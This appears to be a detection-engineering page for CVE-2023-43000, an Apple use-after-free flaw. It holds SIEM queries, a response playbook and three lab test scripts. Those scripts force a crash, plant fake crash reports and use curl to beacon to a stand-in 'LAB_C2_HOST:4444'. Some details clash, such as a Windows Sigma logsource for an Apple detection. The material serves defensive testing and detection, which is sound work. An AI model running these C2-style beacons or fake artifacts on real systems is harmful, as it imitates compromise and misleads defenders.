Apple Multiple Products Use-After-Free Vulnerability (CVE-2023-43000)
Detects exploitation of CVE-2023-43000, a use-after-free vulnerability (CWE-416) affecting multiple Apple products. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. Use-after-free conditions in Apple system components can allow attackers to execute arbitrary code, escalate privileges, or achieve kernel-level compromise on affected macOS, iOS, and related platforms.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Apple
- Product
- Multiple Products
Weakness (CWE)
Timeline
- Disclosed
- March 5, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
What is CVE-2023-43000 Apple Multiple Products Use-After-Free Vulnerability (CVE-2023-43000)?
Apple Multiple Products Use-After-Free Vulnerability (CVE-2023-43000) (CVE-2023-43000) maps to the Privilege Escalation and Execution tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.
This page provides production-ready detection logic for Apple Multiple Products Use-After-Free Vulnerability (CVE-2023-43000), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel, Intune MDM. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Privilege Escalation Execution
union DeviceProcessEvents, DeviceEvents
| where Timestamp > ago(7d)
| where DeviceOS has_any ("macOS", "iOS", "iPadOS")
| where (ActionType in ("ProcessCrashed", "ExploitGuardViolation") or FileName in ("sysdiagnose", "ReportCrash", "osanalyticshelper"))
| extend CrashSignal = iff(ActionType == "ProcessCrashed", "process_crash", "exploit_guard")
| join kind=leftouter (
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort in (80, 443, 4444, 1337, 8080, 8443)
| project DeviceId, NetworkTimestamp=Timestamp, RemoteIP, RemotePort, InitiatingProcessFileName
) on DeviceId
| where NetworkTimestamp between ((Timestamp - 5m) .. (Timestamp + 5m)) or isnull(NetworkTimestamp)
| project Timestamp, DeviceId, DeviceName, FileName, ProcessCommandLine, ActionType, CrashSignal, RemoteIP, RemotePort, AccountName
| order by Timestamp descDetects Apple device process crashes and exploit guard violations on macOS/iOS endpoints correlated with suspicious outbound network connections, indicative of CVE-2023-43000 use-after-free exploitation attempts.
Data Sources
Required Tables
False Positives
- Legitimate application crashes unrelated to exploitation on macOS endpoints
- Security research tools or penetration testing frameworks triggering exploit guard
- System updates or OS patches causing transient process instability
- Memory-intensive applications crashing due to resource exhaustion rather than exploitation
Sigma rule & cross-platform mapping
The detection logic for Apple Multiple Products Use-After-Free Vulnerability (CVE-2023-43000) (CVE-2023-43000) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windowsBrowse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2023-43000
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate macOS Use-After-Free Crash with C2-like Network Beacon
Expected signal: Process crash event for python3, EXC_BAD_ACCESS in crash logs, outbound TCP connection to LAB_C2_HOST:4444 from the same host within 10 seconds of crash
- Test 2Invoke CrashReporter from Non-Standard Parent Process
Expected signal: ProcessRollup2 event for ReportCrash with parent_process=bash; crash report file creation in DiagnosticReports directory
- Test 3Mass Crash Generation and External Reachback Simulation
Expected signal: 5 crash report files created in DiagnosticReports, 5 outbound HTTP connections to LAB_C2_HOST:4444 over ~5 seconds
Response Playbook
Triage
- Identify the affected Apple device(s) by hostname, OS version, and patch level — confirm whether the device is running a version of macOS, iOS, or iPadOS addressed by Apple Security Advisory referenced in this CVE (check https://support.apple.com/en-us/120324, /120331, /120338).
- Review crash logs on the affected macOS host: examine ~/Library/Logs/DiagnosticReports/ and /Library/Logs/DiagnosticReports/ for crash reports with signatures indicating heap corruption, use-after-free (e.g., EXC_BAD_ACCESS with KERN_INVALID_ADDRESS), or unexpected process terminations near the alert time.
- Correlate network connections made by the crashing process or child processes with known C2 infrastructure using threat intel feeds; pivot on destination IPs/domains observed in the alert.
- Determine if the crash resulted in privilege escalation by checking for new privileged processes, unexpected sudo usage (review /var/log/auth.log or unified log with 'sudo' predicate), or new persistence mechanisms (LaunchAgents/LaunchDaemons, login items).
Containment
- Isolate the affected Apple device from the network immediately using endpoint isolation via your MDM (Jamf) or EDR (CrowdStrike) if exploitation is confirmed or highly suspected, to prevent lateral movement or C2 beaconing.
- Force-update the affected device to the patched Apple OS version via MDM push — use Jamf Pro or Apple Business Manager to deploy the security update addressing CVE-2023-43000 to all unpatched Apple devices in the environment.
Evidence Collection
- Collect a sysdiagnose bundle from the affected macOS device (sudo sysdiagnose -f /tmp/ -A CVE-2023-43000-evidence) — this captures crash logs, system state, network connections, and process lists at the time of collection; preserve this for forensic analysis.
- Export CrowdStrike or EDR telemetry for the affected host covering the 24-hour window around the alert: process tree, network connections, file system changes, and any kernel event logs — archive to secure storage with chain-of-custody documentation.
Escalation Criteria
- ! Escalate immediately to incident response if evidence shows successful code execution following the crash (e.g., unexpected child processes spawned by system daemons, new user accounts created, or persistence mechanisms installed) — treat as active compromise.
- ! Escalate to CISO and legal if multiple Apple devices are affected or if evidence suggests targeted exploitation (spearphishing delivery, known threat actor TTPs) rather than opportunistic scanning, as this KEV vulnerability has confirmed active exploitation in the wild.
Investigation Guide
Forensic Artifacts
- >
macOS crash reports in ~/Library/Logs/DiagnosticReports/ and /Library/Logs/DiagnosticReports/ containing EXC_BAD_ACCESS exceptions with KERN_INVALID_ADDRESS or KERN_PROTECTION_FAILURE — indicative of use-after-free memory access patterns - >
Apple Unified Log entries: run 'log show --predicate "subsystem == \"com.apple.ReportCrash\"" --info --last 24h' to surface crash metadata including faulting binary, exception type, and crash address - >
Network connection records from the affected Apple device around crash time — check /private/var/log/system.log and unified log for socket creation and connection events from unexpected processes - >
LaunchAgent and LaunchDaemon plists added post-crash in /Library/LaunchAgents/, /Library/LaunchDaemons/, ~/Library/LaunchAgents/ — new entries created near alert timestamp indicate persistence establishment
Tuning Guidance
Baseline the frequency and parent process lineage of ReportCrash and CrashReporter invocations per device over a 30-day window before enabling alerting — high-frequency crashes on specific devices may indicate legitimate instability rather than exploitation. Allowlist known Apple crash reporting endpoints (crashes.apple.com, captive.apple.com) in network correlation logic to reduce false positives. Consider increasing confidence from medium to high for detections where the crashing process has an unusual parent (not launchd) and connects to non-Apple, non-RFC1918 destinations — this combination has high specificity for exploitation. Tune severity to critical if the crashing process runs as root or involves kernel extensions (kexts).
Hunting Queries
Threat hunt for abnormal crash reporter process lineage on Apple devices — legitimate crash reporter invocations should be spawned by launchd or the kernel; unusual parent processes may indicate exploitation attempts or post-exploitation abuse of crash mechanisms to blend in.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where DeviceOS has_any ("macOS", "iOS")
| where FileName in ("ReportCrash", "osanalyticshelper", "CrashReporter")
| where InitiatingProcessFileName !in ("launchd", "kernel_task", "com.apple.ReportCrash")
| summarize count(), min(Timestamp), max(Timestamp), make_set(InitiatingProcessFileName) by DeviceName, FileName, AccountName
| where count_ > 3
| order by count_ descindex=endpoint sourcetype IN ("jamf:pro", "crowdstrike:events:stream") os_family="macOS"
| where process_name IN ("ReportCrash", "osanalyticshelper", "CrashReporter")
| where parent_process_name NOT IN ("launchd", "kernel_task")
| stats count, dc(parent_process_name) as unique_parents, values(parent_process_name) as parents by host, process_name, user
| where count > 3 OR unique_parents > 2
| sort -countAtomic Red Team Tests
Simulates a use-after-free crash on macOS by invoking a process that deliberately causes an EXC_BAD_ACCESS exception, followed by a network connection to a lab-controlled host to emulate post-exploitation C2 beaconing. Lab environment only.
Command
#!/bin/bash
# LAB ONLY - simulates crash + C2-like beacon
python3 -c "
import ctypes, subprocess, socket, time
# Trigger a controlled crash via null pointer dereference simulation
try:
ctypes.string_at(0) # Force SIGSEGV
except:
pass
" &
sleep 2
# Simulate C2 beacon from same host after 'exploitation'
curl -s --connect-timeout 5 http://LAB_C2_HOST:4444/beacon -H 'User-Agent: CVE-2023-43000-test' || trueCleanup
pkill -f 'python3 -c' 2>/dev/null; pkill curl 2>/dev/nullExpected Telemetry
Process crash event for python3, EXC_BAD_ACCESS in crash logs, outbound TCP connection to LAB_C2_HOST:4444 from the same host within 10 seconds of crash
Expected Detection
kql and spl queries should correlate the crash event with the outbound network connection, triggering medium-severity alert
Tests detection of CrashReporter invoked with an unusual parent process (bash), which is anomalous compared to legitimate launchd-spawned crash handlers. This simulates an attacker using CrashReporter as a masquerade technique post-exploitation.
Command
#!/bin/bash
# Invoke CrashReporter binary directly from bash (anomalous parent)
/System/Library/CoreServices/ReportCrash --help 2>/dev/null || true
# Also create a fake crash report to trigger log entries
mkdir -p /tmp/atomic_test_crashes
cat > /tmp/atomic_test_crashes/fake_crash.crash << 'EOF'
Process: FakeApp [99999]
Path: /Applications/FakeApp.app/Contents/MacOS/FakeApp
Identifier: com.fake.app
Exception Type: EXC_BAD_ACCESS (KERN_INVALID_ADDRESS)
Exception Subtype: KERN_INVALID_ADDRESS at 0x0000000000000000
Termination Signal: Segmentation fault: 11
EOF
cp /tmp/atomic_test_crashes/fake_crash.crash ~/Library/Logs/DiagnosticReports/ 2>/dev/null || trueCleanup
rm -rf /tmp/atomic_test_crashes; rm -f ~/Library/Logs/DiagnosticReports/fake_crash.crashExpected Telemetry
ProcessRollup2 event for ReportCrash with parent_process=bash; crash report file creation in DiagnosticReports directory
Expected Detection
Hunting query should surface ReportCrash with non-launchd parent; EDR should flag unusual process lineage for crash handler
Generates multiple simulated crash artifacts and initiates repeated connection attempts to an external lab host to validate correlation logic across multiple events — tests whether SIEM correctly aggregates and scores compound indicators.
Command
#!/bin/bash
# LAB ONLY - generate 5 crash artifacts + network reachback attempts
for i in $(seq 1 5); do
cat > /tmp/sim_crash_$i.crash << EOF
Process: SimulatedApp_$i [1000$i]
Exception Type: EXC_BAD_ACCESS (KERN_INVALID_ADDRESS)
Exception Subtype: KERN_INVALID_ADDRESS at 0x000000000000000$i
Termination Signal: Segmentation fault: 11
EOF
cp /tmp/sim_crash_$i.crash ~/Library/Logs/DiagnosticReports/ 2>/dev/null || true
# Simulate network reachback
curl -s --connect-timeout 3 http://LAB_C2_HOST:4444/ping?id=$i -o /dev/null || true
sleep 1
doneCleanup
rm -f /tmp/sim_crash_*.crash; rm -f ~/Library/Logs/DiagnosticReports/sim_crash_*.crashExpected Telemetry
5 crash report files created in DiagnosticReports, 5 outbound HTTP connections to LAB_C2_HOST:4444 over ~5 seconds
Expected Detection
Splunk and Sentinel queries should aggregate multiple crash indicators and network events into a high-risk score, elevating alert severity; QRadar magnitude should increase with repeated events